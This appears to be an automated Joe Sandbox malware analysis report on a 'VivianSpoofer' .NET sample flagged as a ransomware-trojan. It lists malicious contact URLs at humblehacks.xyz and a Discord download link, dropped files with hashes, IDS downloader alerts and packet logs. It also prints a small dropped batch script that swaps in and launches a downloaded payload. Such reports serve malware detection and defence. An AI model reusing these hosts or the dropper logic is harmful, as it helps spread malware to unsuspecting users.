https://humblehacks.xyz/N%K	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=11c	ESCore.exe, 00000017.00000002.2105168710.0000000000511000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/723499233851736134/766737019405074472/AMIDEWINx64.EXEC:	aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/l	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
92.205.3.41	humblehacks.xyz	Germany		8972	GD-EMEA-DC-SXB1DE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581894
Start date and time:	2024-12-29 08:54:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	aYu936prD4.exe renamed because original name is a hash value
Original Sample Name:	610d0db5d146f16caad2482b11c22d30.exe
Detection:	MAL
Classification:	mal93.rans.troj.evad.winEXE@21/10@1/1
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 23.218.208.109, 172.202.163.200
Excluded domains from analysis (whitelisted): fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target VivianSpoofer.exe, PID 1432 because it is empty
Execution Graph export aborted for target aYu936prD4.exe, PID 7356 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:55:47	API Interceptor	2340x Sleep call for process: aYu936prD4.exe modified
04:38:28	API Interceptor	21373x Sleep call for process: VivianSpoofer.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GD-EMEA-DC-SXB1DE	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	62.138.179.167
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	92.205.57.102
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	92.205.57.102
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	92.205.57.102
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	92.205.57.102
	hmips.elf	Get hash	malicious	Mirai	Browse	188.138.99.78
	https://atc-secure.com/nocod/wetransdnyd.html#k.muench@muenchundmuench.com	Get hash	malicious	Unknown	Browse	92.205.22.61
	236236236.elf	Get hash	malicious	Unknown	Browse	91.250.85.177
	bot.m68k.elf	Get hash	malicious	Mirai	Browse	85.25.248.167
	bot.sh4.elf	Get hash	malicious	Mirai	Browse	85.25.248.111

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	VegaStealer_v2.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	92.205.3.41
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	92.205.3.41
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	92.205.3.41
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	92.205.3.41
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	92.205.3.41
	lumma.ps1	Get hash	malicious	LummaC	Browse	92.205.3.41
	Titan.exe	Get hash	malicious	Unknown	Browse	92.205.3.41
	Titan.exe	Get hash	malicious	Unknown	Browse	92.205.3.41
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	92.205.3.41
	iviewers.dll	Get hash	malicious	LummaC	Browse	92.205.3.41
37f463bf4616ecd445d4a1937da06e19	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	92.205.3.41
	Gabriel-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	92.205.3.41
	setup.msi	Get hash	malicious	Unknown	Browse	92.205.3.41
	fxsound_setup.exe	Get hash	malicious	Unknown	Browse	92.205.3.41
	test5.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	92.205.3.41
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	92.205.3.41
	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	92.205.3.41
	solara-executor.exe	Get hash	malicious	Unknown	Browse	92.205.3.41
	Setup.exe	Get hash	malicious	Unknown	Browse	92.205.3.41
	Setup.exe	Get hash	malicious	Unknown	Browse	92.205.3.41

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\aYu936prD4.exe.log

Download File

Process:	C:\Users\user\Desktop\aYu936prD4.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2187
Entropy (8bit):	5.371707726863805
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/elZHNpe8mHDp684tHTHhAHKKkBAmHKcA9:iq+wmj0qCYqGSI6o9Zp/elZtp6CtzHe7
MD5:	6383D39342FDE91377B00D77F3EA1713
SHA1:	1D184EDBFACD3FB05232A606F023EB492E1278F6
SHA-256:	073C5251726A1B848D57FDD4E35312A24F89023D9A4817EC8BE94B6C7A7A02C0
SHA-512:	645C672BD943C4D0836D75376A11EBFF99862DD6C77732AAC9AB657381C1183842DF5BE1526EC1E24E641EDF533832906A5AD4D73029E803F59CCCFC96B5639C
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Aut[1].htm

Download File

Process:	C:\Windows\System32\ESCore.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:zAC1n:Pn
MD5:	9FBB8ED3E3ADE6B38053455334A930DC
SHA1:	F18A31DD1B6E8C0A1AD0E05EF29793F1D62ECBCA
SHA-256:	EA6B7B470BE9DE54296EDF53A2EFD2369345230688756087951A3F278406EE7D
SHA-512:	7AAE0305B37F53D3E7C920F57D4AAE84F9C5BE6A3748FC0D715720F8F39C91CAD6C00895EA5678387076420E9DA9F7EF401B58CFC10D3C742EB9468B86D5EB21
Malicious:	false
Preview:	.=253 "0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Aut[1].htm

Download File

Process:	C:\Windows\System32\ESCore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.2516291673878226
Encrypted:	false
SSDEEP:	3:egZa:eg4
MD5:	AE141D36E6AAA3F4CE39EFF01FC8A910
SHA1:	B4BD118544D4A59529A0AAD6F5BA0EA2C3AFF5E7
SHA-256:	7928D484CFA82029A63625AC8BA5DA1AFC11ECC134A59E7A7037CFCB45A5D505
SHA-512:	2A3F153AC8F37FC8C61CE1EA3003A4E996DED5C46A71040145F00BBE126D56825BA21D77996BBAA015DBE1A05801445D22C63C00B9AE58E759EA5E2E65A7CB9F
Malicious:	false
Preview:	jzun\|esk\|eya

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Aut[1].htm

Download File

Process:	C:\Windows\System32\ESCore.exe
File Type:	data
Category:	dropped
Size (bytes):	3229
Entropy (8bit):	5.990399060464226
Encrypted:	false
SSDEEP:	96:ZmmZ12uI2Ej0VkZrSjJLlOy9cjcKv8Obgb/4zXAEg:MmZ1V40miJB79cjZ7bXO
MD5:	CDCA99718D848FDE387111ECCACFBED3
SHA1:	109FC9706A7C752EEA85DC64E3D03A6C36840CCB
SHA-256:	059E029CD2DBD9CCEED05D1DF74682B35F15F620FE824ED879AB91A6640A9B02
SHA-512:	B169C9A967DC2DC0229D9D6D2C1042D8B7EC0114C9148680A621BB95BFBC7492F7105881F09479267C497FD5679E6DD5E7C08969A46F52A03165C29842017457
Malicious:	false
Preview:	....rna69< 65t.....xht.;&=7=r..xhtpiazp``zpl`zpnkt........abr...cdabrfqjgesijt......rna...ph.t{xceyie.l`.e...y.jb...cda.......abr.n.r.......rna.}.LR....rna ,9x.....t{x.751$1a..t{xcdxvcmwvc`uvcfpx........rna...phrnajbfui`fvx......abr...cd.xht...d.o..un..yu.l...eqx.......xht.w.t.......t{x.{.UX....t{x:9,5r.....abr.",;"$x..abr`tv``uv`eojaba........xht...eqxhtsh``pj`ca......t{x...ib.abrlwkcbwujmyjf`l.j...cda.......abr.n.r.......rna.}.LR....rna5=1a.....rna.1 (.7t..rnajfzpi`zsmbzpiat........abr...cdabrfqjfesjkt......rna...ph.t{x..w..`l.ce.icy.`...ibt.......t{x.{.x.......xht.w.YK....xht..f.q.r.....abr.",;"$x..abrlxvcaqvcbsvcbyx........rna...phrnajbfthcdqx......abr...cd.xht...`yi.ay.``.u.l...eqx.......xht.w.t.......t{x.{.UX....t{x5;&7>="9r.....abr.",;"$x..abreql\|fyvcmrvcfxx........rna...phrnajbfthcdpx......abr...cd.xhtxkdltk.g....yu.l...eqx.......xht.w.t.......t{x.{.UX....t{x?==?=*=r.....abr.",;"$x..abrgtvcapv`aqvcgrx........rna...phrnajbfthceyx......abr...cd.xhtphf.......g.ru.es...phr.......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Aut[1].htm

Download File

Process:	C:\Windows\System32\ESCore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.75
Encrypted:	false
SSDEEP:	3:tKE:tKE
MD5:	9E5E1898F5CF5712C0421AFBA332DE48
SHA1:	7EB2B84E68A3CA7251D9275BE7655B23D1B8D3EA
SHA-256:	A64EA2E5DF03E9FA20F3D25F716DD3264D050FA67AC7F133B1476599A7FA9F47
SHA-512:	A862637B605C9C110750CE9BE336F808488F1F52A388576C751B6B7E17D1739FB2D60DD91B936AE3663EA974AF137FB6FA09A9A98D9EFDDBE6CC2B28285AF1AD
Malicious:	false
Preview:	`dslcfsa

C:\Users\user\Desktop\UpdatePackage.dat

Download File

Process:	C:\Users\user\Desktop\aYu936prD4.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21683472
Entropy (8bit):	7.859606865807365
Encrypted:	false
SSDEEP:	393216:AdDlr46pij7uGjk8SW2h30EEHQzXsu6jB9JRmVMTvcMgqogBWory:AN546sKGjk8SFSEEhjYMTv1gqo0ry
MD5:	48DE217B20FEEF7FBD491904885FADE9
SHA1:	020262D1A8B61B3DE5BCFEAD60970690952BBD46
SHA-256:	C46EC742DBF66A8CF38CB9771CCC0DF2F87AB80E95AA3ECB7B8E511DCE87BC0C
SHA-512:	330B97ED54FA83617169D4C50058033C852F04062C55348D26D1106EAC14A56BA5B034E5D11062C08CF295169245464A315AD065E9443B1BC8FF6568E2C60AD7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\Desktop\UpdatePackage.dat, Author: Joe Security Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: C:\Users\user\Desktop\UpdatePackage.dat, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...%big.........."..........V.......2... ....@...... .......................@K.....f.K...`.................................................x2..T.....J..S............J...... K......................................................2..............`ID.H...........eQ*kK6u...... ...................... ..`;^zEH,>R.....@...................... ..`-!c>1D&YxI...`;..J....;............. ..`Dl:$]-l>.S....J..T...hJ.............@..@,=9EfFRZ..... K.......J.............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Updater.bat

Download File

Process:	C:\Users\user\Desktop\aYu936prD4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	130
Entropy (8bit):	4.72837529270203
Encrypted:	false
SSDEEP:	3:oSWPVErCK2Rq4uvNDEREy3NvN+KWMNvA:oS1CK2RuvNAREy3NvN2MNvA
MD5:	E2CD9036495CBC9DC7392FE335A4FBA1
SHA1:	8303D2616DCD7B01DAF96BAFFF91DCA79BE36391
SHA-256:	A556099BE54087882A5D7AE3D478DBF86DBB1E3F1E69C80277A0763B063E6B78
SHA-512:	C0CB44C740CBDE3FEDF1AEBDA2FAED546A92D89A2985DA9EC948178B9E1DA53A3AC378017BD105CC127F55F67961088820ADBD0FA0374299E8CFD51BC06876F9
Malicious:	false
Preview:	SET mypath=%~dp0..cd mypath..timeout /t 5..del VivianSpoofer.exe..ren UpdatePackage.dat VivianSpoofer.exe..start VivianSpoofer.exe

C:\Users\user\Desktop\VivianSpoofer.exe (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21683472
Entropy (8bit):	7.859606865807365
Encrypted:	false
SSDEEP:	393216:AdDlr46pij7uGjk8SW2h30EEHQzXsu6jB9JRmVMTvcMgqogBWory:AN546sKGjk8SFSEEhjYMTv1gqo0ry
MD5:	48DE217B20FEEF7FBD491904885FADE9
SHA1:	020262D1A8B61B3DE5BCFEAD60970690952BBD46
SHA-256:	C46EC742DBF66A8CF38CB9771CCC0DF2F87AB80E95AA3ECB7B8E511DCE87BC0C
SHA-512:	330B97ED54FA83617169D4C50058033C852F04062C55348D26D1106EAC14A56BA5B034E5D11062C08CF295169245464A315AD065E9443B1BC8FF6568E2C60AD7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...%big.........."..........V.......2... ....@...... .......................@K.....f.K...`.................................................x2..T.....J..S............J...... K......................................................2..............`ID.H...........eQ*kK6u...... ...................... ..`;^zEH,>R.....@...................... ..`-!c>1D&YxI...`;..J....;............. ..`Dl:$]-l>.S....J..T...hJ.............@..@,=9EfFRZ..... K.......J.............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\ESCore.exe

Download File

Process:	C:\Users\user\Desktop\aYu936prD4.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6318080
Entropy (8bit):	7.971091997366663
Encrypted:	false
SSDEEP:	98304:lz+K4QUC/p60CRJg07uuDieWCvMjlG+vdd78fotOeDW2hBd7Rnitx7GE:l8wh/M607uve/vLk8gtrW2h3071
MD5:	689211E5BDAC447C2F016BFBAD0B8CFE
SHA1:	9B6A788BE8453F1905BCBBA657282143B2814E83
SHA-256:	428AA5C658B6347F48ED9CF39593D1CDDAF575F3A9F2AB94A8A1555A1413B3C3
SHA-512:	1AD6D57F72036418E409C0AEA241CB292C9E6F4E3492C05BE5F641526083B0010C1C291AB791572CF31DD0A0B5862DB0ED6C1155F2F05528EE012E6837999CC6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...\|]ig..........#....*.......................@.......................................... .................................................8........p.......;...4.......................................... ..(...p:..@.............T.0...........................')6SX#X;............................ ..`j?XIoYBN8...........................@..@2X6/(dFr`...........................@...'kq$.m0sd...........................@..@w+,49HG'\|NL......................... ..`^bu[leN@h.....T.....................@...=COi:vZ4._`...T..``.................`..h,:.z0qA6.....p.......f`.............@..@................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\System32\ESCore.exe
File Type:	data
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.321928094887362
Encrypted:	false
SSDEEP:	3:zAC1y:Py
MD5:	0ABC2553054DB27983EF42573830BACB
SHA1:	172F48F08D7A1734CD6A910F1DD0BF944F122E36
SHA-256:	F59A05223A369CC89FBEAB3691B7F623EC229A0D768327F5787DF5051ECB4E83
SHA-512:	63D31B146C51F06E5FAB2816C6215F606079E2075FD6153B17496F143E27F96825B0805B2C074AB5BF4FB932E27AADB4D9559B71CB172E8308D6880488992FE4
Malicious:	false
Preview:	.=253 "0..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.866655558330813
TrID:	Win64 Executable GUI Net Framework (217006/5) 44.32% Win64 Executable GUI (202006/5) 41.26% Win32 EXE PECompact compressed (generic) (41571/9) 8.49% DOS Executable Borland C++ (13009/5) 2.66% Win64 Executable (generic) (12005/4) 2.45%
File name:	aYu936prD4.exe
File size:	22'372'864 bytes
MD5:	610d0db5d146f16caad2482b11c22d30
SHA1:	89132d1efee95a7a63980f1479bb40f72fc273da
SHA256:	8bdcd45ef7b2635fcae54376a03b803354dec1e97d9e2011e935f4ee72c3c92f
SHA512:	3555bc76f29100831b17f9f1f60902d75fb4bd70776985698da8b36fbc004269babffb050d6ef8daeb7b329bee8bdb18b5f0152719fc0ac46838386f75ae78da
SSDEEP:	393216:idDlr46zKXDcCZybqiOjzzvytDO1Ozq19KNT3AVQjI3JF+rghJ+7:iN546mZQbqiOjn6tMOBbA1D+cbG
TLSH:	25371241B680CEB6C26701B5D8A2C5F592F0BE189B11D74737C43E6B3EBD780AA35366
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Vg.........."......^...V.......}... ....@...... ........................U...........`................................

File Icon


Icon Hash:	3984eeb4a93292ac

Static PE Info

General

Entrypoint:	0xe27db6
Entrypoint Section:	&-RmNmFv
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6756F118 [Mon Dec 9 13:31:04 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00E27DC4h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
cwde
jnl 00007FAFCCCCDA44h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa27d60	0x54	&-RmNmFv
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1554000	0x53fb	Z-/\dJTH
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x155a000	0xc	uIK@O>Dr
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa27dc4	0x8	&-RmNmFv
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x14ee0b0	0x48	?`jsa?kE
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
&-RmNmFv	0x2000	0xa25dd4	0xa25e00	801948400f94d3e6639083ec70ae29c1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
%x/1D?wT	0xa28000	0xa3f053	0xa3f200	f65eacb2e35ec3ec8ab8a1ce4ff15678	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
?`jsa?kE	0x1468000	0xeb6e8	0xeb800	98bb82dec41ab3643b2cccff9ee0fab9	False	0.5960825537420382	OpenPGP Public Key	6.650771131914688	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Z-/\dJTH	0x1554000	0x53fb	0x5400	425fa8a43236315f0ed258371bff5087	False	0.32287016369047616	data	4.842211813909747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
uIK@O>Dr	0x155a000	0xc	0x200	019d9e8f330dd1cca7290937d26268da	False	0.048828125	data	0.12227588125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x1554100	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	0.29103684459140294
RT_GROUP_ICON	0x1558338	0x14	data	1.1
RT_VERSION	0x155835c	0x33c	data	0.41545893719806765
RT_MANIFEST	0x15586a8	0xd53	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.38463793608912344

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-29T08:55:50.151309+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49707	92.205.3.41	443	TCP
2024-12-29T08:56:04.909608+0100	2008547	ET MALWARE PECompact2 Packed Binary - Sometimes Hostile	1	92.205.3.41	443	192.168.2.7	49707	TCP
2024-12-29T08:56:44.013736+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49831	92.205.3.41	443	TCP
2024-12-29T08:56:46.001437+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49837	92.205.3.41	443	TCP
2024-12-29T08:56:55.743757+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49858	92.205.3.41	443	TCP
2024-12-29T08:56:57.794102+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49864	92.205.3.41	443	TCP
2024-12-29T08:56:59.918442+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49870	92.205.3.41	443	TCP
2024-12-29T08:57:02.002427+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49876	92.205.3.41	443	TCP
2024-12-29T08:57:04.246419+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49882	92.205.3.41	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 08:55:43.038481951 CET	49702	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:43.038525105 CET	443	49702	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:43.038594007 CET	49702	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:43.055701971 CET	49702	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:43.055730104 CET	443	49702	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:44.863464117 CET	443	49702	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:44.863548040 CET	49702	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:44.867527962 CET	49702	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:44.867546082 CET	443	49702	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:44.867979050 CET	443	49702	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:44.910381079 CET	49702	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:44.930408955 CET	49702	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:44.975347996 CET	443	49702	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:45.335506916 CET	443	49702	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:45.335832119 CET	443	49702	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:45.335911989 CET	49702	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:45.349178076 CET	49702	443	192.168.2.7	92.205.3.41
